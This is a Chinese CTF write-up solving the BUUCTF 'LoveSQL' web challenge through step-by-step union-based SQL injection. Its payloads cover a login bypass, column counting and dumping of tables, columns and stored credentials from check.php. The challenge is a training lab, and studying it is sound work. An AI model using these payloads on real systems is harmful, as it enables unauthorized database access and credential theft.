buuctf web [极客大挑战 2019]LoveSQL

又是这样的界面,这糟糕的熟悉感,依旧使用上题套路

复制代码
用户名:
admin' or 1=1#
密码:
1

有一串很像flag的字符,但是很可惜,这不是flag

看了一眼源代码,没有可以跳转的页面

要换个思路了,重新查看题目,发现输入的东西在check.php页面有回显,并且url上也有显示,所以尝试sql注入

1、查看字段数
php 复制代码
/check.php?username=admin'order by 1%23&password=1
/check.php?username=admin'order by 2%23&password=1
/check.php?username=admin'order by 3%23&password=1
/check.php?username=admin'order by 4%23&password=1
##由于我们在url中输入,所以要把#换成url编码%23

字段为4报错,所以字段数是3

ps:补充(在url输入的时候要使url编码,具体要求看,你的输入有多少变成了url编码格式)

2、寻找回显字段

username=admin可能会影响系统的回显,所以把admin改成1

php 复制代码
/check.php?username=1'union select 1,2,3%23&password=1

可以看出,回显字段为2,3,所以我们把想要的信息,放在2,3的位置,让它显示在页面上

3、 爆破库与用户

php 复制代码
/check.php?username=1'union select 1,database(),user()%23&password=1

4、爆破表

复制代码
/check.php?username=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

可以看到爆出来了两个表

5、爆l0ve1ysq1表

复制代码
/check.php?username=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

6、尝试爆l0ve1ysq1表里的3个数据

复制代码
/check.php?username=1'union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

flag显示不完整,打开源码就能看到完整的了

相关推荐
谢亮_vipxieliang21 小时前
Java 8/11/17/21/25 怎么选?一篇讲清 LTS 升级路线
java·开发语言
hunteritself21 小时前
卷卷卷!GPT-6 Sol、Luna 正式发布,OpenAI 开始卷价格了
大数据·前端·人工智能·深度学习·transformer
Cindy_cd21 小时前
IDEA2021 配置 JDK+Maven
java·开发语言·maven
何何____21 小时前
Vue 全局事件总线详解
前端·javascript·vue.js
我要神龙摆尾21 小时前
IDEA 阅读插件
java·ide·intellij-idea·idea-plugs·plugs
涉密IT资质笔记1 天前
涉密人员脱密期管理规范:期限分级模型、就业限制边界与违规认定标准
java·服务器·前端·网络·数据库
mmsx1 天前
Android Dialog 插槽模式:用一套壳统一全应用的弹窗风格
android·java·dialog·开发语言
huanbailu1 天前
Qt 跨线程信号槽:connect 返回 true 但槽函数不执行的坑
开发语言·c++·qt·信号槽·跨线程·元类型
u0111026751 天前
工具页案例图如何编写 alt让图片说明与处理场景对应
java·前端·javascript·图像处理·人工智能·算法·ai作画
事圆则缓1 天前
Flutter 状态管理框架对比(五):GetX 的响应式、依赖注册与生命周期
前端·javascript·flutter